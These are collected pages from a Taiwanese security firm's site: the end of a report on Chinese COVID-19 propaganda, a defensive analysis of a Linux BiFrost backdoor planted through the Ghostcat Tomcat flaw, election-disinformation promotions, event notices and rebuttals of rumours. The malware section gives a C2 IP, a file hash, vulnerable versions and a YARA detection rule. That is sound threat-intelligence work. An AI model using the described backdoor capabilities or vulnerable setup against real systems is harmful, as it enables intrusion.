In particular, Italy, the first G-7 country to join China's Belt and Road Initiative (BRI), became a favorable environment for the regime to launch propaganda. We observed a series of propaganda was launched against Italy.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_3_c2c0ee47d2.png)_Figure 3: The Chinese embassy posted a series of tweets to promote China's medical aids foe Italy, using hashtag #ForzaCinaeItalia_

The campaign is revealed to have boosted by social manipulation, as the hashtag #ForzaCinaeItalia (Go China, go Italy) was promoted by Twitter bot accounts.\[9\]

In another case, since March 15, Chinese state media outlets as well as Chinese diplomats Hua Chunying and Zhao Lijian have promoted a video of Italian chanting "Grazie, Cina!" on their balconies with the Chinese anthem "March of the Volunteers" playing.\[10\] The video was examined by researchers and was claimed to be manufactured.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718737/SR_4_b4d7e95934.png)_Figure 4: Hua Chunying's sharing the video on Twitter._

### "Origin" Propaganda: Conspiracy Theories of Patient Zero

Conspiracy theories of the origin of the coronavirus have emerged across social media platforms as early as January. One of the significant cases is a conspiracy theory claiming that the US military had brought the coronavirus to Wuhan during the 2019 Military World Games.

Starting from March 12, 2020, Zhao Lijian, a deputy director of the Chinese Foreign Ministry's Information Department, has posted a series of tweet to amplify the conspiracy theory on Twitter. In one of his tweets, he shared a video clip of US Centers for Disease Control (CDC) chief Robert Redfield saying some Covid-19 death might have been diagnosed as influenza in the US, using it as evidence that the virus originated in the US.\[11\]

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_5_2802d4b539.png)_Figure 5: A series of tweets by Zhao Lijian promoting the conspiracy theory, along with articles of "globalresearch.ca". The website often promotes anti-US conspiracy theory._

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590718735/SR_6_2bb97447e7.png)_Figure 6: Global Times reporting the conspiracy theory about US military personnel bringing COVID-19 to China._

Besides the US, Italy is also one of the scapegoats for China's coronavirus origin propaganda. Starting from March 22, multiple Chinese state media outlets have published news article titled "Coronavirus may have existed in Italy since November: local researcher," implying that Italy was the origin of Coronavirus.\[12\]\[13\] They cited the words of the Italian physician Giuseppe Remuzzi in an interview with NPR on March 19 \[14\], using it as statement to prove that China is not the origin of the coronavirus.

Although Remuzzi protested that his words were twisted by China, the narrative has already gone viral.\[15\] The CCTV created a topic "Expert claims the coronavirus may have existed in Italy since November" (专家称疫情去年11月或已在意大利流行), which reached approximately 500 million views and 35,000 discussion posts.

### Conclusion

China's cyber strength and digital influence did not scale down even in the times of the pandemic. Instead, the regime took the opportunity to pose itself as a global leader more capable than the US. We can see that the CCP has well mastered its cyber capabilities and propaganda machine, expanding the regime's control from physical entities to public opinion. Moreover, the CCP has elevated its efforts to shape international opinion through the Twitter platform. We assess that the CCP will have more power of discourse and influence after they learned to conduct propaganda campaign on foreign social media platforms, and every party should be vigilant about it.

### Reference

\[1\] 工业和信息化部办公厅关于做好疫情防控期间信息通信行业网络安全保障工作的通知 (MIIT's Notice on Cybersecurity Practice for Information and Communications Technology (ICT) Service Providers During Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7681785/content.html

\[2\] 工业和信息化部召开媒体通气会 介绍电信大数据分析、支撑服务疫情防控总体情况 (MIIT's Media Briefing on the Utilization of Telecom Big Data Analysis on Epidemic Control)  
http://www.miit.gov.cn/n1146290/n1146402/c7678438/content.html

\[3\] 健康码的隐私政策还有哪些改进空间？(Room of Improvement on the Health Code System's Privacy Policy)  
https://www.jiemian.com/article/4120372.html

\[4\] 美国暴发40年来最致命流感 已有6600人死亡 (US' Worst Influenza Outbreak in 40 Years, 6600 Americans Killed)  
http://news.sina.com.cn/w/2020-01-22/doc-iihnzhha4088647.shtml

\[5\] https://s.weibo.com/weibo?q=%23美国爆发乙型流感%23&Refer=SWeibo_box

\[6\] CGTN: Time lapse video: Construction of Wuhan Huoshenshan Hospital completed  
https://www.youtube.com/watch?v=53nhErXUd9A

\[7\] 中国人民"正在为全人类作贡献" (Chinese People are Contributing for All Human Kind)  
http://world.people.com.cn/n1/2020/0308/c1002-31622166.html

\[8\] Xinhua Net: China deserves appreciation for efforts, sacrifices in fighting epidemic: WHO chief  
http://www.xinhuanet.com/english/2020-02/16/c_138789289.htm

\[9\] How China unleashed Twitter bots to spread COVID-19 propaganda in Italy  
https://formiche.net/2020/03/china-unleashed-twitter-bots-covid19-propaganda-italy/

\[10\] https://twitter.com/SpokespersonCHN/status/1239041044580188162  
https://twitter.com/zlj517/status/1239112822908276736  
CGTN: Italians play Chinese national anthem to thank China for its aid  
https://www.youtube.com/watch?v=8ZKsA2jbwlk  
CCTV: Italians play Chinese national anthem, chanting "Grazie Cina"  
https://www.facebook.com/watch/?v=201784281098386

\[11\] https://twitter.com/zlj517/status/1238111898828066823

\[12\] Coronavirus may have existed in Italy since November: local researcher  
https://news.cgtn.com/news/2020-03-22/Coronavirus-may-have-existed-in-Italy-since-November-local-researcher-P4i2As2OAg/index.html

\[13\] Italian doctors saw strange pneumonia cases before China's COVID-19 outbreak, report says   
http://www.china.org.cn/world/Off_the_Wire/2020-03/22/content_75845579.htm

\[14\] 'Every Single Individual Must Stay Home': Italy's Coronavirus Surge Strains Hospitals  
https://www.npr.org/2020/03/19/817974987/every-single-individual-must-stay-home-italy-s-coronavirus-deaths-pass-china-s?t=1585131614833

\[15\] Beijing twisted my words on coronavirus's Italian origin, says scientist Giuseppe Remuzzi  
https://www.thetimes.co.uk/article/beijing-twisted-my-words-on-coronaviruss-italian-origin-says-scientist-giuseppe-remuzzi-6twwhkrvn

Special Report: How China Utilizes Its Cyber Strength and Propaganda Machine to Handle the COVID-19 Pandemic

**關鍵字：HUAPI、PLEAD、GhostCat、CVE-2020-1938、Linux、BiFrost、RC4、RAT**

### 前言

TeamT5 近期接獲情資，於台灣某學術網路的圖書館網站上發現存有惡意程式。經過 TeamT5 研究員分析調查發現，該網站系統使用 Tomcat 7.0.73 作為網頁伺服器且開啟 8009 通訊埠，TeamT5 研究員驗證網站具有 Ghostcat（CVE-2020-1938） 漏洞，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715647/Huapi_1_693c241b07.png)
_圖一、Nmap 掃描結果_

駭客利用 Tomcat 網頁伺服器預設開啟的 AJP 服務（預設為 8009 通訊埠），可達到遠端指令執行（Remote Code Execution, RCE）之目的並上傳檔案。於該案例中，駭客疑似透過 Ghostcat 漏洞上傳 BiFrost 惡意程式，使該圖書館系統成為惡意程式下載站（Download Site）。

### 惡意程式分析

該惡意程式（8fd3925dadf37bebcc8844214f2bcd18）於 2020 年 1 月 31 日被上傳至 Virustotal 平台，當時的各家防毒軟體的偵測率並不佳，僅有 6 家防毒軟體能夠有效識別，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715649/Huapi_2_f22974775a.png)
_圖二、惡意程式於一月底上傳至 VirusTotal 且一開始防毒軟體的偵測率並不佳_

TeamT5 取得該惡意後門程式並進行分析，該惡意後門程式檔名為 md.png，但檔案格式為 UNIX ELF 執行檔，推測是利用 PNG 副檔名偽裝在 Tomcat 網站伺服器上，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_3_c26aa8fc03.png)
_圖三、偽裝為 PNG 的 ELF 執行檔_

使用 TeamT5 的 ThreatSonar 惡意威脅鑑識系統可有效辨識出該惡意程式並可以偵測到中繼站 IP 位址（107.191.61.247），詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_4_60a6816101.png)
_圖四、ThreatSonar 偵測畫面_

經過逆向分析，該惡意後門程式具有上傳/下載/列舉/刪除/搬移檔案（File）、執行/結束程序（Process）、開啟/關閉遠端命令列介面程式（Remote Shell）等功能，其中惡意後門程式與中繼站的連線內容會使用修改過的 RC4 演算法進行加密，此專屬特徵可用來辯認出此惡意程式，詳見下圖。

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1590715648/Huapi_5_9291a10e8d.png)
_圖五、惡意後門程式使用修改後的 RC4 加密演算法_

### 攻擊族群分析

該惡意程式為 Linux 版本的 BiFrost 後門程式，其版本號為 5.0.0.0。根據 TeamT5 長期研究的情資顯示，該惡意程式為中國駭客組織 HUAPI（又名為 PLEAD）慣用的後門程式。HUAPI 駭客組織自 2007 年開始活躍至今，攻擊台灣超過 10 年的時間。TeamT5 觀察到 HUAPI 所開發的惡意程式有時會使用加殼來阻擋研究人員分析，且通常會使用修改後的 RC4 演算法來加密傳輸。HUAPI 長期攻擊政府、高科技、電信或研究智庫單位，根據 TeamT5 的統計結果，超過 5 成的受害單位為政府機關，受害國家包含台灣、美國、日本及南韓，其中針對台灣政府機關進行入侵攻擊的為多。

### 影響與建議

若用戶有使用 Tomcat 服務作為網頁伺服器，且版本為以下之一者：

* Apache Tomcat 9.x < 9.0.31
* Apache Tomcat 8.x < 8.5.51
* Apache Tomcat 7.x < 7.0.100
* Apache Tomcat 6.x

TeamT5 建議需要立即進行版本更新，避免遭到駭客利用 Ghostcat 漏洞進行遠端控制，甚至上傳惡意檔案。

另外，若用戶若遭遇針對性進階持續威脅（Advanced Persistent Threat, APT）時，則需要使用如 TeamT5 的 ThreatSonar 惡意威脅鑑識系統，IT 管理者可以在最短時間內偵測並回應這類的惡意威脅。TeamT5 建議可將下方威脅指標（Indicator of Compromise, IOC）匯入到各式資安設備中偵測與識別威脅。

* 107.191.61.247
* 8fd3925dadf37bebcc8844214f2bcd18
* Yara Rule

 rule RAT_BiFrost_UNIX
 {
 meta:
 description= "HUAPI UNIX BiFrost RAT"
 author = "TeamT5"
 date = "2020-04-15"
 
 strings:
 $hex1 = {25 ?? 00 00 00 85 C0 75 37 8B 45 F0 89 C1 03 4D 08 8B 45 F0 03 45 08 0F B6 10 8B 45 F8 01 C2 B8 FF FF FF FF 21 D0 88 01 8B 45 F0 89 C2 03 55 08 8B 45 F0 03 45 08 0F B6 00 32 45 FD 88 02}
 $hex2 = {8B 45 F0 03 45 08 0F B6 00 30 45 FD 8B 45 F0 89 C1 03 4D 08 8B 45 F8 89 C2 02 55 FD B8 FF FF FF FF 21 D0 88 01}
 
 condition:
 all of them
 }

### 外部參考資料

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938

中國駭客 HUAPI 的惡意後門程式 BiFrost 分析

The ubiquity of social media has altered the way people consume information, which in turn dramatically changed the way electoral campaigns are run. From the 2018 municipal elections to the 2020 general elections, Taiwan has witnessed the growing threat of disinformation to the citizens. It was observed that many malicious actors utilized social media to disseminate a huge amount of fake news, false information, and hate speech. These disinformation are like highly contagious viruses that will not only affect the people consuming them, but also make them secondary disseminators. We assess that:

1. Virus-like disinformation makes everyone on social media both victim and disseminator

   Although public discussion is the cornerstone of a good democratic society, many attacks have used voter enthusiasm to spread on social media. We have observed that many of the voters who participated in the discussion turned out to be the source of dissemination.
2. Disinformation continues to evolve in tactics and quantity, as well as expanding its targets

   The Taiwanese Central Election Commission (CEC) stated that the number of disinformation cases before the 2020 elections reached an unprecedented level. In addition to the evolution in quantity and tactics, we observed that the dissemination of disinformation did not stop even after the election, but instead shifted the target.
3. China continues to increase its influence

   Apart from news agency promoting the Chinese policies, inauthentic accounts run by bot, and patriotic netizens (A.K.A little pink), China has stepped up its influence on social media platforms to shape narratives.
4. Information operations are outsourced, layer-by-layer

   Before the elections, a number of marketing firms and new media were established to spread political messages. We discovered that some of them have connections with certain political parties, implying the layer-by-layer outsourcing of Information Operations by politically motivated actors.

From the perspective of security researchers, we integrated the Information Operations intercepted and investigated by TeamT5 over the past two years, hoping to contribute to the next democratic election.

If you are interested in this white paper, please fill out the form, and we will send you the report by email.

COMING UP NEXT: We will publish reports about how China conduct Information Operation on social media platforms, targeting domestic citizens and foreign audiences. If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper I: Observations on 2020 Taiwanese General Elections

社群媒體的普及改變了人們吸收資訊的方式，衝擊了原有的選戰型態。2018到2020年，台灣面臨了新形態的選戰威脅，攻擊者利用社群媒體散播大量的假新聞、不實資訊、仇恨言論。這些攻擊就像高傳染力的病毒不僅會觸及所有社群媒體使用者，更會讓他們感染後進一步成為潛在的假消息散播源。

TeamT5 的 Observations on 2020 Taiwanese General Elections 認為：

1. 假新聞讓各政黨支持者成為可能的散播源

   假新聞攻擊會利用選民對政治的熱情，使參與討論的選民反而成為散播的節點。
2. 假新聞的手法與目標持續地改變

   中選會認為這次選前的假新聞攻擊達到以往不曾有的數量。而除了數量與手法的不同，在選舉過後，相關攻擊並沒有停止，反而轉移了目標。
3. 中國持續加大自己的影響力

   從對台機構的新聞網站到各類假帳號、機器人與自發的小粉紅，中國試圖將影響力延伸到台灣的社群媒體。
4. 假新聞的攻擊行動被層層外包

   在選舉期間大量的行銷公司與新興媒體成立並散播特定政治訊息，讓真正的攻擊者可以輕易地隱藏於之後。

我們以資安研究員的角度出發，整合過去兩年間 TeamT5 拆解過的選舉假新聞攻擊事件，希望能替下一場民主選舉貢獻心力。

若對本份白皮書有興趣，請填寫表單，我們會以電子郵件的方式寄送。 TeamT5 接下來還會解析中國如何對內與對外利用社群媒體進行資訊的操弄。不想錯過我們接下來發布的報告，請追蹤我們的[Twitter](https://twitter.com/TeamT5_Official)。


TeamT5 發布了〈資訊戰白皮書：2020台灣大選觀察〉

資安大會首頁特開_1000x280.gif

資安大會首頁特開_620x280.gif

cybersec 2021

資安大會首頁特開_315x280.gif

國際半導體展 SEMICON 於今日(12/28)盛大開展，TeamT5 杜浦數位安全於 SECPAAS主題館發表演講，提醒企業應時時防範勒索軟體，依循3大關鍵──掌握情資、有效偵測威脅和使用自動化管理工具，牢牢保護重要商業機密。

企業預防勒索軟體的3大關鍵為 -

- 掌握情資: 知識就是力量，企業應掌握最新、最正確的攻擊威脅資料，預知駭客可能入侵的手法、管道，以採取最好的防護策略。
- 有效偵測威脅: 根據真實案例和專家研究得出的情資，宜搭配 AI 驅動的辨識引擎，有效發掘企業資訊環境內潛藏的可疑軟體，即時拆除未爆彈。
-  使用自動化管理工具: 採用自動化管理工具，可大幅縮短反應時間，即時阻斷勒索攻擊、備份檔案，避免重要檔案無法開啟。若工具能根據企業的營運特性，量身打造防護對策，更為理想。

駭客手法持續精進，甚至會使用合法程式來掩護非法攻擊，企業更需要有工具偵測，才能阻擋入侵。TeamT5 建議企業立刻採取預防措施，確保營運順暢、客戶服務不中斷。

**[關於 TeamT5 杜浦數位安全]**

TeamT5 杜浦數位安全專精網路威脅研究，提供端點偵測與回應(EDR)解決方案。協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響。
 
團隊具備超過10年的惡意程式與進階持續性滲透攻擊(APT)的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。



![news&events_pic.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640762854/news_and_events_pic_bb73daf924.jpg)

TeamT5 杜浦數位安全於國際半導體展 SECPAAS主題館，由資深經理  Shawn 發表演講，提醒企業應時時防範勒索軟體



預防勒索軟體3大關鍵 杜浦數位安全於國際半導體展不藏私分享

News

TeamT5 於今年(2021)首次申請 ISO 27001 資訊安全管理系統認證。經過全體同仁數月的共同努力，在 9 月以零缺失通過驗證，並於12月4日由英國標準協會 BSI 台灣分公司洪詩嵐協理，頒授證書予 TeamT5 蔡松廷執行長。

TeamT5 一直以來都具備完善及嚴謹的資安管理系統與制度，此次透過國際標準之資安及隱私資訊管理制度，讓資安及隱私保護意識更深入企業文化中，展現 TeamT5 於資安防護的堅持，與守護客戶之決心。


![ISO 27001_photo.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640756658/ISO_27001_photo_a660399985.jpg)


英國標準協會 BSI 台灣分公司洪詩嵐協理(左一) 頒授證書予 TeamT5 蔡松廷執行長(右一)、Baleezo(右二)



TeamT5 獲 ISO/IEC 27001:2013 驗證，具備資安服務高標準

TeamT5 just received ISO/IEC 27001:2013 certification as we applied for it for the first time. After months of efforts from our colleagues, TeamT5 passed the verification with zero defects in September. On December 4th, senior manager Elaine Hong represented the British Standards Institution (BSI) - Taiwan branch, and awarded the certification to the CEO of TeamT5, TT Tsai.

TeamT5 has always been equipped with a comprehensive & rigorous cybersecurity management system. This time, through the international standard for information security and private data management system, the awareness of information security & privacy protection has been deepened in the corporate culture. It also demonstrates TeamT5’s  determination to protect our clients with high standards of cybersecurity.



![ISO 27001_photo.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640756658/ISO_27001_photo_a660399985.jpg)


Elaine Hong (at left) represented the British Standards Institution and awarded the certification to the CEO of TeamT5, TT Tsai (in the middle) & Baleezo (at right).



TeamT5 Receives ISO/IEC 27001:2013 Certification with Highest Information Security Protection Standard

#### 想找資安實習嗎？想了解資安工作內容和差異嗎？或是應屆畢業生想於畢業前了解自己適合的角色嗎？

我們是 TeamT5 杜浦數位安全，專精於網路惡意入侵行為分析與追蹤與漏洞安全研究，為目前國內頂尖網路威脅情資研究團隊。

我們即將在明年（2022）寒假期間舉行五天的 TeamT5 Security Camp 資安培訓營，將帶著大家透過一系列的完整課程，快速了解每一個資安職位的工作內容，並且透過導師制度，讓大家不僅可以從中學習資安技術，更能接觸真實的實務案例哦！

五天的 Security Camp 資安培訓營，您將接觸到：

- 初探威脅情資的奧秘
- 漏洞挖掘的深入體驗
- 資安事件處理的剖析
- 與系統底層一日邂逅

####上課日期（皆需實體到場）：
2022 年 1 月 18 日（二）、1 月 19 日（三）、1 月 25 日（二）、1 月 26 日（三）、1 月 27 日（四）

#### 報名資格與費用：
- 報名資格：國內大專院校、碩士生
- 活動費用：免費

#### 徵選方式：
 即日起至 12/2（四）前填寫筆試索取表單

題目索取表單 👉 https://bit.ly/3FiT3lz

#### 活動諮詢窗口：

若有任何問題，歡迎來信 camp@teamt5.org


第二屆 TeamT5 Security Camp 資安培訓營～ 開跑囉

Events

*Image courtesy of [CODE BLUE](https://codeblue.jp/2021/en/).
 
The largest information security conference in Japan, CODE BLUE 2021, will be held in hybrid style in Tokyo, both virtual and on-site, on October 19th and 20th. During the COVID-19 pandemic, cybersecurity matters more than ever. As a Taiwan-based cybersecurity company dedicated to combating cyber threats, TeamT5 is proud to support, sponsor and participate in this top international cybersecurity event in Asia.
 
This year, we will be giving workshops on topics of cyber threat intelligence, threat hunting, and ransomware protection. Join us for the exclusive workshops at CODE BLUE 2021 and enjoy an active interchange of ideas with us! (*Note: TeamT5 workshops are all by registration.)
 
Moreover, our cyber threat analysts Che Chang and Silvia Yeh will again be presenting at Law & Policy track, sharing their latest study on Chinese InfoOps at this year’s virtual conference.
 
See below for highlights of our events at CODE BLUE 2021.

## Speech

- **Law & Policy | Clip Addiction: A Study of Video-Based Chinese InfoOps with Threat Intelligence**

China’s Information Operations (InfoOps) continue to proliferate in cyberspace. TeamT5 cyber threat analysts Che Chang and Silvia Yeh will present their research on China’s video-based InfoOps across social media platforms.

![infoops_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1633513235/infoops_twitter_d624cf406f.png)

 

## TeamT5 Workshop

This year, TeamT5 and our partners, Macnica and Terilogy Worx Corporation, co-host a series of virtual workshops at CODE BLUE 2021. Our CEO Sung-ting Tsai (TT) and Cyber Threat Intelligence team will discuss topics on ransomware prevention and our research on APT attacks in Japan. Come join us!

### Workshop I: Strategy Overview of Ransomware Defense

Ransomware has become one of the top cyber security risks that could not be ignored by C-level executives. The threat actors are savvy and their attack techniques keep evolving. TeamT5 observes significant incidents keep happening and their impact is huge.

In this workshop, we will introduce what makes ransomware so difficult to defend, and as defenders, how to develop your defense plan. Through the real case studies dissecting ransomware attack techniques and procedures, we will discuss countermeasures for each attack phase and show you how to combat ransomware threats at the earliest stage.

- **Location**: via Microsoft Teams.

![ransom_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1633513234/ransom_twitter_7bfbb0912e.png)

 

### Workshop II: APT Attacks in Japan

In this workshop, TeamT5 cyber threat researcher will cover the latest attack methods adopted by Chinese APT groups, and illustrate possible threats Japan may face.
 
Furthermore, we will show you how TeamT5’s threat intelligence platform, ThreatVision, can help you forecast threat risks and deploy cybersecurity defense in advance.
 
Our partner, Macnica, will also present recent threat research on Japan. This workshop will provide you with a full landscape of the threat intelligence trends in Japan and how you can avoid their attacks by effectively applying threat intelligence to your business.

- **Location**: via Microsoft Teams.

![apt_twitter.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634010832/apt_twitter_9fd752e842.png)


 

### What is CODE BLUE?

CODE BLUE is Japan's largest international information security conference, which aims to contribute to a better Internet world by connecting people through CODE (technology), beyond and across the BLUE (oceans). Every year, the world's top-class specialists and researchers gather together to share their latest findings and give cutting-edge talks. It is a place for all participants to exchange information and collaborate to respond to and solve information security problems.
 
More information on CODE BLUE 2021 [Official Website](https://codeblue.jp/2021/en/).

【TeamT5 x CODE BLUE 2021】Because Security Matters

文／黃彥棻 | 圖片來源：[Freepik](https://www.freepik.com)

日本內容農場網站在中秋連假前夕，先在日本境內分享中國內容農場不實消息，指控臺灣政府教唆專精 APT 與假新聞研究的臺灣資安公司 TeamT5，以網路釣魚手法，非法蒐集日本民眾個資，相關資訊也在日本社交媒體以及臺灣臉書粉專持續傳播。稍有不慎，可能將單純的假新聞操弄事件升級為影響臺日政府友好的國安事件。

[點此閱讀完整報導](https://www.ithome.com.tw/news/146834)

【iThome】中國認知作戰新手法！鎖定臺灣資安公司製造假新聞，挑撥臺日政府關係

圖片來源：[Freepik](https://www.freepik.com/)

正值中秋連假之際，某特定內容農場開始散播關於 TeamT5 的謠言。該謠言以日文撰寫，其內容指稱TeamT5 對日本政府與各大日本企業進行釣魚攻擊並大量收集個人資訊云云。

TeamT5 在此嚴正聲明，前開網路謠言絶非事實，TeamT5 從未從事任何網路攻擊的行動，更不會接受任何客戶委託進行網路攻擊之行為。

TeamT5 追查後發現，該造謠者係利用內容農場商業模式讓該不實內容於中文和日文的內容農場偕同轉發。但該內容不僅偽造釣魚信件的截圖，其內更有大量日文文法錯誤與錯字，還有許多中文詞彙假冒在其中，種種跡象均顯示該謠言撰稿者係偽冒成日文母語人士撰寫日文新聞稿。

初步分析後，TeamT5 情資團隊認為這起謠言的手法符合我們過往研究的國家級駭客散播不實新聞的戰術、技術和流程（Tactics, Techniques, and Procedures, TTPs）。目前 TeamT5 已將相關分析與證據備份，並已通報請台日雙邊的調查單位協助偵查。

謹再次重申，TeamT5 自創立以來，協助所有的客戶與夥伴阻擋各類網路威脅。我們過去、現在以及未來都不會主動發起或接受委託從事任何網路攻擊活動。

> Contact: <PR@teamt5.org>

TeamT5 杜浦數位安全針對假新聞攻擊之澄清

*Image courtesy of [Freepik](https://www.freepik.com/)

TeamT5 found one content farm published a disinformation article accusing TeamT5 of conducting phishing attacks against the Japanese government and Japanese tech companies. The actor abused the mechanism of the content farm business for spreading baseless evidence to discredit TeamT5 and the Taiwanese government.

In this clarification, TeamT5 declares that the above-mentioned disinformation are by no means true. TeamT5 has never engaged in any cyber-attacks, and will not accept any commissions to conduct cyber-attacks.

This disinformation attack is in line with the tactics, techniques, and procedures (TTPs) of state-sponsored information operation that has been observed closely by us. The article is highly possible to be written by non-native Japanese speakers due to the multiple grammar mistakes and many Chinese characters. TeamT5 has shared all the above information with the law enforcement in both Taiwan and Japan. The further detail of this attack is now under investigation.

Since the start of TeamT5, we have been helping our clients and partners to defend against all kinds of cyberattacks. We do not and will never use our resources and products to conduct any cyberattacks. If you require further information, please contact <pr@teamt5.org>.

Clarification on Malicious Disinformation Targeting TeamT5

*Image courtesy of [Freepik](https://www.freepik.com/)

TeamT5（以下、当社）は、ある特定のコンテンツファームが、当社が日本政府及び日本国内のIT企業に対してフィッシング攻撃を行い、個人情報を大量に収集しているとの事実に反する偽情報を流布していることを発見いたしました。該当の偽情報は、コンテンツファーム・ビジネスの仕組みを熟知し、悪用する行為者によって、当社および台湾政府の名誉もしくは信用を毀損することを目的に配布されたものです。

本声明を通じて、当社は、該当記事によって流布された内容が事実無根のものであり、一切事実ではないことをお伝えいたします。当社はこれまでいかなるサイバー攻撃にも関与したことはなく、また、第三者からサイバー攻撃の依頼を請け負ったこともありません。

今回のディスインフォメーション攻撃は、当社がこれまで観測してきた国家主導の情報工作の戦術、技術、手順（TTPs）と合致するものです。この記事には複数の文法上の誤りや中国語（簡体字）の利用などが確認できることから、日本語を母語としない筆者によって記述された可能性が高く、日本人になりすまして投稿されたものと考えられます。当社は、事態の全容解明に向け、すべての情報を台湾及び日本の法執行機関に提供し、引き続き調査を進めております。

創業以来、当社は、あらゆる種類のサイバー攻撃からクライアントの皆様やパートナー各社様の安全確保に貢献し、セキュリティ対策強化の一助となるよう努めてまいりました。当社が、当社の製品及びリソースを用いてサイバー攻撃を実施、或いは請け負ったことはなく、今後もありません。

本件に関するご質問等につきましては次のメールアドレス（<pr@teamt5.org>）までお問い合わせくださいますようお願い申し上げます。

当社に関する偽情報の流布及び誹謗中傷への対応について

本資料轉載自 [CIO IT 經理人](https://www.cio.com.tw/) | 採訪／施鑫澤・文／林裕洋

## ThreatSonar 搭配 ThreatVision 雙劍合璧

> 勒索軟體與 APT 攻擊手法非常類似，企業唯有全面性解決，並在防堵威脅時同步擬定執行策略，才能讓人員更有效進行處理。

 

根據 TeamT5 杜浦數位安全威脅情資研究團隊觀察，REvil 駭客組織從去年（2020）開始所進行的一連串國內外資安重大威脅事件的動作來看，透過加密勒索軟體的攻擊手法是全球所關注且警覺到此狀況不容小覷。從今年上半年累計統計至七月份遭受 REvil 勒索軟體攻擊的受害對象浮出檯面上的至少有五、六起事件發生，對於尚未浮出台面的受害事件還不知道有多少。

以台灣為例，向來位居全球領導地位的高科技製造業，以往由於行事低調，甚少被駭客組織注意，近兩年駭客組織逐漸將勒索軟體的工具目標鎖定台灣高科技製造業，因此市場上陸續多家業者傳出遭遇勒索軟體攻擊的事件，且被駭客要求支付天價的高額贖金，甚至部分駭客組織為了脅迫受害企業支付贖金，將所竊取部分重要機敏的資料在地下市場公開，迫使讓企業進入支付贖金。根據資安專家進行事後調查發現，遭到同一個駭客組織採用REvil勒索軟體攻擊的受害業者多數為大型跨國企業，一旦這些企業受害其對於企業營運的影響面則會相當顯著，也因此勒索軟體的攻擊成為國內外大企業在面臨資安部署的防禦上最為之戒慎恐懼的一環。

TeamT5 杜浦數位安全創辦人兼執行長蔡松廷指出，若是以事件處理的角度來看，勒索軟體與 APT 進階持續性威脅（Advanced Persistent Threat, APT）攻擊手法非常類似，唯一不同之處是駭客組織藉著勒索軟體攻擊進行勒索受害者並且以獲得一定高額贖金為目標。蔡松廷強調面對勒索軟體、APT 等攻擊手法，企業唯有以全面性思維規畫並在威脅攻擊之際，同步擬定與執行防堵策略，甚或精準部署防護策略捷足先登避免攻擊事件的發生。

蔡松廷進一步強調，以目前 TeamT5 杜浦數位安全所推出的勒索軟體全面防禦策略，採用能有效偵測出 APT 針對型攻擊的 ThreatSonar 威脅狩獵解決方案與目前企業現有的資安解決方案，兩者相互合作中強化與增進企業資安全面部署的完備。

 

## 技術、經驗兼具 提供全方位服務

專精於網路惡意入侵行為分析與追蹤的 TeamT5 杜浦數位安全是台灣頂尖網路威脅情資研究機構之一，憑藉著豐富網駭情資研究與擁有世界級研發團隊全面致力於端點資安防護解決方案（Endpoint Protection Solutions）的開發、提供高度機器學習能力（Machine Learning）與人工智慧（AI）端點惡意程式鑑識系統 - ThreatSonar 外，也深入從事各類資安事件處理與調查服務，讓國內企業能享有最即時的技術支援與顧問諮詢服務。

蔡松廷表示目前公司的威脅情資分析團隊成員平均擁有十年以上的惡意程式與 APT 研究經歷，再加上語言及文化優勢，所以 TeamT5 杜浦數位安全對亞太地區的 APT 駭客族群有著深入瞭解與研究，尤其針對來自中國的 APT 攻擊，我們掌握更多作案細節與手法且具備事件後續追查的優勢，至於核心技術團隊部分，則精通底層作業系統分析、深度逆向分析與先進安全技術，因為具備專業技術與研究能力，加上積極研發最新的偵測方式，因此 ThreatSonar 威脅狩獵解決方案是具備穩定性、精準偵測攻擊者的威脅功能機制。

資安事件防護除了事前緊密的防禦外，對於即時資安事件發生當下或事後所需要進行迅速應變且適當策略與反應，這塊部署拼圖對於企業也是關注的一塊，有了此策略將可以大幅降低不論是人力、金額或是商譽的損失。蔡松廷表示，以 TeamT5 杜浦數位安全來說也有一個長年經驗豐富的 IR（Incident Response 事件應變）鑑識團隊，長期研究與解析駭客族群入侵行為並且具備處理第一線國內外資安事件的經驗，當資安事件發生時，TeamT5 IR 鑑識團隊可以快速完成企業受駭現場與歷史軌跡的綜整分析，並且發掘出攻擊者的入侵過程與手法，提供事件處理深入的分析及建議，進一步協助企業進行復原與改善。

 

## APT 威脅狩獵方案 ThreatSonar 功能強悍

面對日趨複雜與氾濫的 APT 攻擊，TeamT5 杜浦數位安全推出的 ThreatSonar 威脅狩獵解決方案可提供進階的威脅獵捕方案，協助企業覺察環境中可疑威脅。ThreatSonar 具備入侵威脅評估的功能，結合數位鑑識與行為模型技術，可快速偵測與鎖定異常行為，辨識環境中的入侵威脅，以圖形視覺化方式呈現威脅事件，更有效幫助企業進行資安事件追蹤與關聯。

在威脅事件回應方面，ThreatSonar 具備情資驅動特性與自動調查功能，可主動發現符合駭客族群常用 TTPs 的隱藏威脅，提升資安事件調查效率，至於託管式偵測與回應服務部分，ThreatSonar 可持續觀察端點的風險狀況，並由專家團隊協助進行入侵威脅通報、抑制與回應處理，強化企業的資安事件應變能力。

